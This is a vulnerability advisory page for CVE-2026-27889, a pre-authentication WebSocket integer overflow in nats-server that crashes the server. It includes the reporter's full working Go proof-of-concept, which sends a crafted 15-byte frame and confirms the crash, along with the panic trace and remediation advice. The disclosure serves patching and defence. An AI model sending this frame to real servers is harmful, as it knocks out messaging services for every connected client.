Skip to main content

Python CVE-2026-27889

| EUVDEUVD-2026-15962 HIGH
Integer Overflow or Wraparound (CWE-190)
2026-03-25 https://github.com/nats-io/nats-server GHSA-pq2q-rcw4-3hr6
7.5
CVSS 3.1 · Vendor: https://github.com/nats-io/nats-server
Share

Severity by source

Vendor (https://github.com/nats-io/nats-server) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
SUSE
HIGH
qualitative
Red Hat
7.5 HIGH
qualitative

Primary rating from Vendor (https://github.com/nats-io/nats-server).

CVSS VectorVendor: https://github.com/nats-io/nats-server

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

4
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
EUVD ID Assigned
Mar 25, 2026 - 17:17 euvd
EUVD-2026-15962
Analysis Generated
Mar 25, 2026 - 17:17 vuln.today
CVE Published
Mar 25, 2026 - 17:07 nvd
HIGH 7.5

DescriptionCVE.org

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.

Problem Description

A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.

Affected versions

Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5

Workarounds

This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.

Solution

Upgrade the NATS server to a fixed version.

Credits

This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813.

-----

Report by @Mistz1

Summary

An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine - killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).

Details

Vulnerable code: server/websocket.go line 278

go
r.rem = int(binary.BigEndian.Uint64(tmpBuf))

When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: *"the most significant bit MUST be 0"* - but nats-server never checks this.

Attack chain:

  1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., 0x8000000000000001).
  2. At line 278, int(0x8000000000000001) produces -9223372036854775807 on 64-bit Go (two's complement reinterpretation - Go does not panic on integer conversion overflow).
  3. r.rem is now negative. At line 307-311, the bounds clamp fails:
go
   n = r.rem                    // n = -9223372036854775807
   if pos+n > max {             // 14 + (-huge) = negative, NOT > max → FALSE
       n = max - pos            // clamp NEVER fires
   }
   b = buf[pos : pos+n]         // buf[14 : -9223372036854775793] → PANIC

The addition pos + n wraps to a negative value (Go signed integer overflow is defined behavior - it wraps silently). Since the negative result is never greater than max, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.

  1. There is no defer recover() anywhere in the goroutine chain:

The unrecovered panic propagates to Go's runtime, which calls os.Exit(2). The entire nats-server process terminates.

  1. The WebSocket frame is parsed in wsRead() called from readLoop(), which starts immediately after the HTTP upgrade - before any NATS CONNECT authentication. No credentials are required.

Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.

PoC

Server configuration (test-ws.conf):

listen: 127.0.0.1:4222

websocket {
    listen: "127.0.0.1:9222"
    no_tls: true
}

Start the server:

bash
nats-server -c test-ws.conf

Exploit (poc_ws_crash.go):

go
package main

import (
	"bufio"
	"encoding/binary"
	"fmt"
	"net"
	"net/http"
	"os"
	"time"
)

func main() {
	target := "127.0.0.1:9222"
	if len(os.Args) > 1 {
		target = os.Args[1]
	}

	fmt.Printf("[*] Connecting to %s...\n", target)
	conn, err := net.DialTimeout("tcp", target, 5*time.Second)
	if err != nil {
		fmt.Printf("[-] Connection failed: %v\n", err)
		os.Exit(1)
	}
	defer conn.Close()

	// WebSocket upgrade
	req, _ := http.NewRequest("GET", "http://"+target, nil)
	req.Header.Set("Upgrade", "websocket")
	req.Header.Set("Connection", "Upgrade")
	req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==")
	req.Header.Set("Sec-WebSocket-Version", "13")
	req.Header.Set("Sec-WebSocket-Protocol", "nats")
	req.Write(conn)

	conn.SetReadDeadline(time.Now().Add(5 * time.Second))
	resp, err := http.ReadResponse(bufio.NewReader(conn), req)
	if err != nil || resp.StatusCode != 101 {
		fmt.Printf("[-] Upgrade failed\n")
		os.Exit(1)
	}
	fmt.Println("[+] WebSocket established")
	conn.SetReadDeadline(time.Time{})

	// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte
	frame := make([]byte, 15)
	frame[0] = 0x82                                             // FIN + Binary
	frame[1] = 0xFF                                             // MASK + 127 (64-bit length)
	binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set
	frame[10] = 0xDE                                            // Mask key
	frame[11] = 0xAD
	frame[12] = 0xBE
	frame[13] = 0xEF
	frame[14] = 0x41                                            // 1 payload byte

	fmt.Printf("[*] Sending: %x\n", frame)
	conn.Write(frame)

	time.Sleep(2 * time.Second)

	// Verify crash
	conn2, err := net.DialTimeout("tcp", target, 3*time.Second)
	if err != nil {
		fmt.Println("[!!!] SERVER IS DOWN - full process crash confirmed")
		os.Exit(0)
	}
	conn2.Close()
	fmt.Println("[-] Server still running")
}

Run:

bash
go build -o poc_ws_crash poc_ws_crash.go
./poc_ws_crash

Observed server output before termination:

panic: runtime error: slice bounds out of range [:-9223372036854775793]

goroutine 13 [running]:
github.com/nats-io/nats-server/v2/server.(*client).wsRead(...)
        server/websocket.go:311 +0xa93
github.com/nats-io/nats-server/v2/server.(*client).readLoop(...)
        server/client.go:1434 +0x768
github.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1()
        server/server.go:4078 +0x32

Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.

Impact

Vulnerability type: Pre-authentication remote denial of service (full process crash).

Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port - no credentials, no valid NATS client, no TLS client certificate.

Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.

Affected platforms: All - confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.

( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)

AnalysisAI

A critical pre-authentication denial of service vulnerability in nats-server allows an unauthenticated remote attacker to crash the entire server process by sending a single malicious 15-byte WebSocket frame. The vulnerability affects nats-server versions 2.2.0 through 2.11.13 and 2.12.0 through 2.12.4 when WebSocket listeners are enabled. A working proof-of-concept exploit in Go has been publicly disclosed by security researcher Mistz1, demonstrating that a single TCP connection can bring down the entire NATS deployment including all connected clients, JetStream streams, and cluster routes.

Technical ContextAI

NATS.io is a high-performance cloud-native messaging system commonly used for microservices communication, IoT messaging, and event streaming. This vulnerability affects the WebSocket transport implementation in the nats-server package (pkg:go/github.com_nats-io_nats-server_v2). The root cause is an integer overflow (CWE-190) in the WebSocket frame parser at websocket.go line 278, where the server performs an unchecked cast of a 64-bit unsigned payload length to a signed integer without validating RFC 6455 section 5.2 requirements that the most significant bit must be zero. When an attacker sets the MSB in the extended payload length field, the uint64 to int conversion produces a negative value on 64-bit systems (e.g., 0x8000000000000001 becomes -9223372036854775807). This negative value bypasses the bounds clamp logic in the subsequent slice operation, causing a runtime panic in the slice bounds check at line 311. The panic occurs in the readLoop goroutine before any NATS CONNECT authentication takes place, and because nats-server does not implement panic recovery in the WebSocket connection handler, the unrecovered panic propagates to the Go runtime which terminates the entire process with os.Exit(2).

RemediationAI

Immediately upgrade nats-server to version 2.11.14 or later, or version 2.12.5 or later, which contain fixes for this vulnerability as detailed in the vendor security advisories at https://github.com/nats-io/nats-server/security/advisories/GHSA-pq2q-rcw4-3hr6 and https://advisories.nats.io/CVE/secnote-2026-03.txt. Organizations unable to upgrade immediately should implement defense-in-depth mitigations by either disabling WebSocket listeners entirely if not required, or restricting network access to the WebSocket port using firewall rules or network segmentation to allow connections only from trusted IP ranges and authenticated endpoints. If WebSocket support is essential for browser-based or IoT clients, deploy a reverse proxy or API gateway in front of NATS that can perform additional protocol validation and rate limiting to reduce attack surface while planning the upgrade. Note that these workarounds only reduce risk and do not eliminate the vulnerability, making urgent patching the only complete remediation.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Vendor StatusVendor

SUSE

Severity: High
Product Status
openSUSE Leap 15.6 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP6 Fixed
openSUSE Leap 15.5 Fixed

Share

CVE-2026-27889 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy